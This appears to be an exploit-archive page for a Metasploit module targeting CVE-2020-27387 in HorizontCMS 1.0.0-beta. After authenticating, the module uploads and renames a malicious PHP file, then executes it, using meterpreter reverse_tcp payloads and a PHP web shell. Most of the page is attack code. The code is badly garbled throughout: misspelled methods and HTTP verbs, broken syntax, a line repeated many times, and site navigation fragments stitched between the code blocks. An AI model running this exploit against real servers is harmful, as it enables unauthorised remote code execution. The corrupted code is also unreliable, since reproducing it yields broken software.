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HorizontCMS 1.0.0-beta Shell Upload

Posted Nov 13, 2020

This Metasploit module exploits an arbitrary file upload vulnerability in HorizontCMS 1.0.0-beta in order to execute arbitrary commands. The module first attempts to authenticate to HorizontCMS. It then tries to upload a malicious PHP file via an HTTP POST request to /admin/file-manager/fileupload. The server will rename this file to a random string. The module will therefore attempt to change the filename back to the original name via an HTTP POST request to /admin/file-manager/rename. For the php target, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET request to /storage/file_name.

tags | exploit, web, arbitrary, php, file upload

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```
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** # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##
 class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
    include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
     def initialize(info = {})
           update_info(
info,
'Name,' 'HorizontCMS Arbitrary PHP File Upload',
'Description' >> %q(
This module exploits an arbitrary file upload vulnerability in
HorizontCMS 1.0.0-beta in order to execute arbitrary commands.
                         The module first attempts to authenticate to HorisontCMS. It then tries to upload a malicious PHP file via an HTTP FOST request to "/amin/file-manager/fileupload". The severe will rename this file to a random string. The module will therefore attempt to change the filename back to the original name via an HTTP FOST request to "/admin/file-manager/rename". For the "php' target, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET request to "/atorage/file name". For the 'linux' and 'windows' targets, the module uploads a simple FMP web shell similar to 'Tophp system(S_GET["cmd")); 7>". Subsequently, it leverages the CadStager mixin to deliver the final payload via a series of HTTP GET request to the FMP web shell.
                           Valid credentials for a HorizontCMS user with permissions to use the FileManager are required. This would be all users in the Admin, Manag and Editor groups if HorizontCMS is configured with the default group settings. This module has been successfully tested against HorizontCMS 1.0-0-bets running on Ubuntu 18.04.
                       'License' => MSF_LICENSE,
                               'Erik Wynter' # @wyntererik - Discovery and Metasploit
                      'References' =>
                              ['CVE', '2020-27387']
                       'Payload' =>
                               'BadChars' => "\x00\x0d\x0a"
                       };
'Platform' => %w[linux win php],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],
'Targets' =>
                                   'PHP', {
  'Arch' => [ARCH_PHP],
  'Platform' => 'php',
  'DefaultOptions' >> ;
  'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                                      'Linux', {
  'Arch' => [ARCH_X86, ARCH_X64],
  'Platform' => 'linux',
                                              PefaultOptions' => {
  'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                                      'Windows', {
 'Arch' > {ARCH_X86, ARCH_X64},
 'Platform' > 'Win',
 'DefaultOptions' >> {
 'PAYLOAD' >> 'windows/x64/meterpreter/reverse_tcp'
                     ],
'Privileged' => false,
'DisclosureDate' => '2020-09-24',
'DefaultTarget' => 0
         register_options [
OptString.new('TARGETURI', [true, 'The base path to HorizontCMS', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
     def check
  vprint_status('Running check')
         # visit /admin/login to obtain HorizontCMS version plus cookies and csrf token
res = send_request_cgi{{
    "method' >> 'GST',
    "uri' >> normalize_uri(target_uri.path, 'admin', 'login'),
    "keep_cookies' >> true
         unless res return CheckCode::Unknown('Connection failed.') end
         unless res.code == 200 && res.body.include?('HorizontCMS')
    return CheckCode::Safe('Target is not a HorizontCMS application.')
end
```





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Scanner (1.631)

```
# obtain csrf token
      html = res.get_html_document
@csrf_token = html.at('meta[@name="csrf-token"]')['content']
      # obtain version
/Version: (?<version>.*?)\n/ =~ res.body
      unless version return CheckCode::Detected('Could not determine HorizontCMS version.') end
      # vulnerable versions all start with 1.0.0 followed by `-beta', `-alpha' or `-alpha.<number>`
version_no, version_status = version.split('-')
unless version_no == '1.0.0' && version_status && (version_status.include?('alpha') ||
ression_status.include?('beta'))
return (beckCode::Safe('Target is HorizontCMS with version *[version]'')
  return CheckCode::Appears("Target is HorizontCMS with version #{version}") end
  def login
# check if @csrf_token is not blank, as this is required for authentication
if @csrf_token.blank?
fall_with(Failure::Unknown, 'Failed to obtain the csrf token required for authentication.')
end
     # try to authenticate
res = send_request_cqi{
    "sethod => 'FOST',
    "uri' => normalise uri(target_uri.path, 'admin', 'login'),
    "vest_costes' => true,
    "ctupe' => 'application/x-www-form-urlencoded',
    "vars_post' => urf_token,
    "lowername' => datastore('USESHAME'),
    "password' => datastore('PASSWORD'),
    "submit_login' => 'login'
}
     unless res  \texttt{fail\_with(Failure::Unreachable, 'Connection failed while trying to authenticate.')} \ end 
      unless res.code == 302 && res.body.include?('Redirecting to')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')
      \dagger keep only the newly added cookies, otherwise subsequent requests will fail auth_cookies = cookie_jar.to_a[2..3] self_cookie_jar = auth_cookies_to_set
    # using send_request_cgi! does not work so we have to follow the redirect manually res = send_request_cgi!{
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard')
})
     unless res  \texttt{fail\_with(Pailure::Unreachable, 'Connection failed while trying to authenticate.')} end \\
     unless res.code == 200 %% res.body.include?('Dashboard - HorizontCMS')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')
end
      print_good('Successfully authenticated to the HorizontCMS dashboard')
      # get new carf token
html = res.get_html document
@carf_token = html.at('mstal@name="carf-token")')['content']
if @carf_token.blank?
fall_with[@ailures:Unknown, 'Failed to obtain the carf token required for uploading the payload.')
  @payload_name = rand_text_alphanumeric(8..12) << '.php'
print_status("Uploading payload as #{@payload_name}...")</pre>
      # generate post data
post data = Rev::MME::Wessage.new
post_data.add part(@carf_token, nil, nil, 'form-data; name="_token")
post_data.add part(", nil, nil, 'form-data; name="dir_path")
post_data.add part(", nil, nil, 'form-data; name="dir_path")
post_data.add part("\?php #(pi) ?>", 'application/x-php', nil, "form-data; name=\"up_file[]\"; filename=\"#y\yload_name\")
      # upload payload
res = send_request_ogi({
    "method" >> "005",
    "uri" >> normalize_uri(target_uri.path, 'admin', 'file-manager', 'fileupload'),
    "type" >> "mulripart/form-data; boundary=#[post_data.bound)",
    "headers" >> ( 'X-Requested-With' >> 'NMLHttpRequest'),
    "data" >> post_data.to_
     unless res  \begin{array}{l} \text{fail} \ \text{with} \ (\text{Failure::Disconnected, 'Connection failed while trying to upload the payload.')} \\ \text{end} \end{array} 
     unless res.code == 200 && res.body.include?('Files uploaded successfully!')
fail.with(Failure::Unknown, 'Failed to upload the payload.')
end
     print_good("Successfully uploaded #{@payload_name}. The server renamed it to #{@payload_on_target}")
     unless res fail_with(Failure::Disconnected, "Connection failed while trying to rename the payload back to \# (Spayload_name).") end
     unless res.code == 200 %% res.body.include?('File successfully renamed!')
fail with(Failure::Unknown, "Failed to rename the payload back to #{@payload_name}.")
end
  print_good("Successfully renamed payload back to #{@payload_name}")
end
 def execute_command(cmd, _opts = {})
    send_request_cgi({
        'method' > 'GET',
        'orn' > normalize_uri(target_uri.path, 'storage', @payload_name),
        var_get' > { @shell_cmd_name >> cmd }
        var_get' > { @shell_cmd_name >> cmd }
        response from the target, otherwise the module will hang for a few seconds after response from the target, otherwise the module will hang for a few seconds after response from the target, otherwise the module will hang for a few seconds after response from the target, otherwise the module will hang for a few seconds after response from the target, otherwise the module will hang for a few seconds after response from the target, otherwise the module will hang for a few seconds after response from the target, otherwise the module will hang for a few seconds after response from the target, otherwise the module will hang for a few seconds after response from the target.
def cleanup
# delete payload
res = send request_cgi({
    nethod' => 'GET',
    'uri' >> normalize_uri(target_uri.path, 'admin', 'file-manager', 'delete'),
    'headers' => {"\x\Requested-With' => 'XMLHttpRequest' },
    'uri' => &carf_token,
```

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 Other

 Vulnerability (31,136)

Web (9,365) Whitepaper (3,729) x86 (946) XSS (17,494)

```
'file' => "/#{@payload_name}"
})
                                                   unless res && res.code == 200 && res.body.include?('File deleted successfully')
print_error('Failed to delete the payload.')
print_warning("Manual cleanup of #(@payload_name) is required.")
return
end
                                     \label{lem:print_good("Successfully deleted $\{\{\{payload\_name\}''\}\}$ end} % \begin{center} \begi
upload_and_rename_payload

# For 'php' targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.

if target['Platform'] == 'php'
print_status('Executing the payload...')
send_request_cqi({
    'method => 'GET',
    'uri' >> normalize_uri(raget_uri.path, 'storage', @payload_name)
    'you' >> normalize_uritoraget_uri.path, 'storage', @payload_name)
executing the payload

rexecuting the payload

print_status('Executing the payload via a series of HTTP GET requests to '/storage/#(@payload_name)?#

(@shell_cmd_name) = ccommand> ")
    execut_cmdstager(background: true)
end
end
```

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